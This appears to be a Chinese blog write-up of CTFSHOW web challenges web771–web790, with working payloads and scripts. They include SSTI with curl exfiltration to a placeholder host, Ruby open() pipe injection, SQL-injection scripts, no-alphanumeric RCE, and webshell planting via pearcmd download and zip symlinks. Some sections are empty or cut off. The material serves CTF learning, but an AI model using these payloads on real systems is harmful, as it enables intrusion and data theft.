您当前的位置: 首页 > 

yu22x

暂无认证

  • 5浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTFSHOW大赛原题篇(web771-web790)

yu22x 发布时间:2022-03-04 13:42:16 ,浏览量:5

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。 暂时先更新到这了,毕竟还是要工作的。。。。

文章目录
    • web771
    • web773
    • web774
    • web775
    • web776
    • web 777
    • web778
    • web779
    • web780
    • web781
    • web782
    • web784
    • web785
    • web786
    • web787
    • web788
    • web789
    • web790

web771

GXYCTF2019 你的名字 题目过滤了{{}} 只要使用就直接报错,所以只能用{%%}进行盲注了 然后也过滤了一些字符,但是只是替换成空了。所以可以直接往想使用的字符里嵌入。 剩下的就是在基础的命令上改下就可以了。

{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
name={%25iconfigf x.__claifss__.__inifit__.__gloifbals__['__buconfigiltins__']['evifal']("__impifort__('o''s').poconfigpen('curl http://xxxx?s=`cat /F*`').read()")%25}1{%25endiconfigf%25}

还有个要注意的点就是这环境竟然没有base64,不知道是我的问题还是题目的问题。 倒是base32可以用。

web773

2021第五空间 PNG图片转换器 原题给了源码的。。。。。 只能在这贴一下了

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "alert('error');location.href='/upload';"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "alert('error');location.href='/convert';"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "alert('dont hack me');"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

考察ruby open函数漏洞 如果传递给open函数的文件名参数是以“|”开头,Ruby会打开一个管道句柄并执行后面的命令。

在这里插入图片描述 这里提交的文件名只能是.png结尾的,payload如下。

ls /
file=|echo bHMgLw==|base64 -d|sh > a.png
file=a.png

cat /F*
file=|echo Y2F0IC9GKg==|base64 -d|sh > a.png
file=a.png

web774

考点其实就下面一个地方,利用地址符赋值就可以了。 在这里插入图片描述




web775

原题是有源码的…



其实就是要让我们查询出来的password和我们post传入的password相同。

先来看下payload

'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#

参考博客https://www.cnblogs.com/kingbridge/articles/15818673.html 这位师傅写的很详细,下面引述一下

CHAR(34)="
CHAR(39)='
CHAR(33)=!

我们令 str2= "/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))# str1= '/**/union/**/select(REPLACE(REPLACE('!',CHAR(34),CHAR(39)),CHAR(33),'!'))# (两者区别是引号) 刚才的payload就可以看成

'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#

执行内层replace后,str2中的双引号变成单引号,也就成了str1 payload变成 '/**/union/**/select(REPLACE(str1,CHAR(33),'str2'))# 接着str1中的!被替换成了str2 也就是 '/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))# 和一开始输入的password完全相同。

web776
');
?>

剩下的蚁剑连接根目录下就可以找到flag了。

web782

开局一个注入,但是过滤了一个比较关键的字符from,经过几次尝试发现挺难绕过的,但是不要把思维局限,我们现在除了可以查数据库,其实还可以把answer的值注入出来。

import requests
import base64
import string 
url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/"
s=string.ascii_letters+string.digits
answer=''
for i in range(1,10):
	print(i)
	for j in s:
		#payload="?answer=1'||if(substr(database(),{0},1)='{1}',1,0)%23".format(i,j)
		payload="?answer=1'||if(substr(answer,{0},1)='{1}',1,0)%23".format(i,j)
		u=url+payload
		r=requests.get(u)
		if("Wrong" in r.text):
			answer+=j
			print(answer)
			break

得到answer为7ujm6yhn,输入后会进到flag.php页面,存在命令执行。 但是测试发现过滤了数字字母。 这也好说,利用上传临时文件,具体原理可参考之前写的文章无数字字母rce

#coding:utf-8
#author yu22x
import requests
url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/flag.php"
data={'cmd':'. /???/????????[?-[]'}
headers={'Cookie':'PHPSESSID=53964734d4bc928487088a2fbdf83b13'}
files={'file':'cat /f*'}
while True:
	response=requests.post(url,files=files,data=data,headers=headers)
	html = response.text
	if "ctfshow{" in html:
		print(html)
		break

web784

利用pearcmd.php进行文件包含。 参考文章 https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html https://blog.csdn.net/rfrder/article/details/121042290 尝试了几种方法,发现下载文件的可用。 在vps上写一个shell.txt,内容为一句话木马


接着包含pearcmd文件 ?file=/usr/local/lib/php/pearcmd.php&+download+http://ip/shell.txt

shell.txt


最后包含生成的shell.txt即可。

GET:
?file=shell.txt
POST:
1=echo `cat /f*`;
web785

1、本地生成一个/var/www/html目录的软链接test,接着将其打包成test1.zip 2、生成一个目录test,在里面创建一个一句话木马a.php,并将整个目录打包成test2.zip 3、上传两个文件夹,在上传时使用相同的名称。 4、在解压后由于使用-o参数test文件夹会覆盖掉test软链接,进而将a.php写入test软链接对应的/var/www/html目录中。

ln -s /var/www/html test;zip --symlinks test1.zip test;rm -rf test;mkdir test;cd test;echo '' >a.php;cd ..;zip -q -r test2.zip *
import requests  
url="http://7d0c6496-ff84-4083-9bcc-ffe2d9813f00.challenge.ctf.show/"
files={'file':('test.zip',open('test1.zip','rb'),'image/png')}
files2={'file':('test.zip',open('test2.zip','rb'),'image/png')}
requests.post(url,files=files)
requests.post(url,files=files2)
web786

有类有写文件很容易想到利用phar进行反序列化。首先构造生成phar文件。 难点在于如何绕过过滤。 绕过//注释很简单,直接一个换行就可以了。剩下的就是代码怎么写了。 我这里是用的取反。 比如我们写入如下代码,其实会执行system('cat /f*'); 具体生成方法可以参考之前写的无数字字母绕过的一片文章。


有同学可能会问了,题目不是过滤了引号和字母吗? 其实我们在url地址栏里面传入会自动url解码的,也就不需要urldecode函数了。 比如我们执行代码

file_put_contents("a.php",urldecode('            
关注
打赏
1617522777
查看更多评论
0.0410s